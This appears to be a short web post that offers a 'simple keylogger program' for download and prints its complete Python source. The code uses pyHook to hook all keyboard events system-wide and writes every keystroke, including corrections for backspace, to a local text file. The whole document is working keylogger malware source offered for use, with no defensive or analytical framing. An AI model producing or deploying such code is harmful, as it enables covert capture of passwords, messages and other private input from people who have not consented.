This is a simple keylogger program and the file can be downloaded here.

import pyHook
import string
import pythoncom
 
def OnKeyboardEvent(event):
    global ks
    #print event.Ascii
    char = chr(event.Ascii)
    charnum = event.Ascii
    if (charnum > 32 and charnum < 126):
        ks = ks + char
    elif (charnum == 32):
        ks = ks + ' '
    elif (charnum == 13):
        ks = ks + '\n'
    elif (charnum == 8):
        ks = ks[:-1]
    elif (charnum == 9):
        ks = ks + '\t'
    else:
        pass
 
    f = open('file.txt', 'w')
    f.write(ks)
    f.close()
 
    print ks
 
if __name__ == '__main__':
 
    ks = ''
    f = open('file.txt', 'w')
    f.close
 
    # create the hook mananger
    hm = pyHook.HookManager()
 
    # register two callbacks
    hm.KeyDown = OnKeyboardEvent
 
    # hook into the mouse and keyboard events
    hm.HookKeyboard()
 
    pythoncom.PumpMessages()